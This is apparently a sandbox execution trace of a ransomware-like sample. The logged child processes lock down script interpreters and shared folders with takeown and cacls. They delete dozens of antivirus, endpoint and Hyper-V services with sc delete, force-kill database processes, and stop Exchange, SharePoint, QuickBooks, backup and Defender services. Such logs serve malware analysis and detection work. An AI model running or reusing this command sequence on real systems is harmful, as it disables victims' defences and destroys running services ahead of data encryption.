C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\cscript.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\ProgramData /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d system3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Users\Public /a3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /g Administrators:f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /g Users:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /g Administrators:r3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d SERVICE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d mssqlserver3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d "network service"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d system3⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d mssql$sqlexpress3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmickvpexchange"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicguestinterface"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicshutdown"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "vmicheartbeat"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicrdv"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "storflt"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmictimesync"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicvss"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "hvdsvc"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "nvspwmi"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "wmms"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AvgAdminServer"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AVG Antivirus"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "avgAdminClient"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SAVService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SAVAdminService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos AutoUpdate Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Clean Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Device Control Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Endpoint Defense Service"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos File Scanner Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Health Service"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos MCS Agent"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos MCS Client"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SntpService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swc_service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swi_service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos UI"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swi_update"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Web Control Service"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos System Protection Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Safestore Service"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "hmpalertsvc"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "RpcEptMapper"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Endpoint Defense Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SophosFIM"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swi_filter"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FirebirdGuardianDefaultInstance"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FirebirdServerDefaultInstance"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLSERVER"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLSERVERAGENT"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "SQLBrowser"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLTELEMETRY"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MsDtsServer130"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SSISTELEMETRY130"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLWriter"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$VEEAMSQL2012"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$VEEAMSQL2012"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLServerADHelper100"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLServerOLAPService"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "MsDtsServer100"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLTELEMETRY$HL"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "TMBMServer"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$PROGID"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$WOLTERSKLUWER"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$PROGID"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$WOLTERSKLUWER"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher$OPTIMA"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$OPTIMA"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$OPTIMA"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer$OPTIMA"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "msftesql$SQLEXPRESS"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "postgresql-x64-9.4"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "WRSVC"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ekrn"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ekrnEpsw"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klim6"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AVP18.0.0"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "KLIF"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klpd"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klflt"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klbackupdisk"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klbackupflt"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klkbdflt"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klmouflt"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klhk"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "KSDE1.0.0"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "kltap"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ScSecSvc"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Mail Protection"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Scanning Server"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Scanning ServerEx"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Online Protection System"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "RepairService"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Core Browsing Protection"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Quick Update Service"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "McAfeeFramework"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "macmnsvc"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "masvc"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "mfemms"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "mfevtp"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmFilter"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMLWCSService"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "tmusa"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmPreFilter"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMSmartRelayService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMiCRCScanService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "VSApiNt"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "TmCCSF"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "tmlisten"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmProxy"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "ntrtscan"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ofcservice"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmPfw"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "PccNTUpd"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "PandaAetherAgent"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "PSUAService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "NanoServiceMain"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPIntegrationService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPProtectedService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPRedline"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPSecurityService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPUpdateService"3⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "UniFi"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im PccNTMon.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im NTRtScan.exe3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmListen.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmCCSF.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmProxy.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TMBMSRV.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TMBMSRV.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmPfw.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im CNTAoSMgr.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlbrowser.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlwriter.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlservr.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im msmdsrv.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im MsDtsSrvr.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlceip.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdlauncher.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im Ssms.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im SQLAGENT.EXE3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdhost.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdlauncher.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlservr.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im ReportingServicesService.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im msftesql.exe3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im pg_ctl.exe3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im postgres.exe3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper1003⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1004⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$ISARS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$ISARS4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$MSFW3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$MSFW4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$ISARS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$ISARS4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$MSFW3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$MSFW4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser4⤵
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$ISARS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$ISARS4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLWriter3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter4⤵
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
C:\Windows\SysWOW64\net.exenet stop mr2kserv3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mr2kserv4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFBA3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFBA4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSA3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSA4⤵
-
C:\Windows\SysWOW64\net.exenet stop ShadowProtectSvc3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ShadowProtectSvc4⤵
-
C:\Windows\SysWOW64\net.exenet stop SPAdminV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPAdminV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPTimerV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPTimerV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPTraceV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPTraceV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPUserCodeV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPUserCodeV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPWriterV43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPWriterV44⤵
-
C:\Windows\SysWOW64\net.exenet stop SPSearch43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPSearch44⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper1003⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1004⤵
-
C:\Windows\SysWOW64\net.exenet stop IISADMIN3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISADMIN4⤵
-
C:\Windows\SysWOW64\net.exenet stop firebirdguardiandefaultinstance3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop firebirdguardiandefaultinstance4⤵
-
C:\Windows\SysWOW64\net.exenet stop ibmiasrw3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ibmiasrw4⤵
-
C:\Windows\SysWOW64\net.exenet stop QBCFMonitorService3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService4⤵
-
C:\Windows\SysWOW64\net.exenet stop QBVSS3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBVSS4⤵
-
C:\Windows\SysWOW64\net.exenet stop QBPOSDBServiceV123⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBPOSDBServiceV124⤵
-
C:\Windows\SysWOW64\net.exenet stop "IBM Domino Server (CProgramFilesIBMDominodata)"3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IBM Domino Server (CProgramFilesIBMDominodata)"4⤵
-
C:\Windows\SysWOW64\net.exenet stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"4⤵
-
C:\Windows\SysWOW64\net.exenet stop IISADMIN3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISADMIN4⤵
-
C:\Windows\SysWOW64\net.exenet stop "Simply Accounting Database Connection Manager"3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Simply Accounting Database Connection Manager"4⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB13⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB14⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB23⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB24⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB33⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB34⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB43⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB44⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB53⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB54⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im UniFi.exe3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq MsMpEng.exe"3⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq ntrtscan.exe"3⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq avp.exe"3⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq WRSA.exe"3⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq egui.exe"3⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq AvastUI.exe"3⤵
- Enumerates processes with tasklist
-
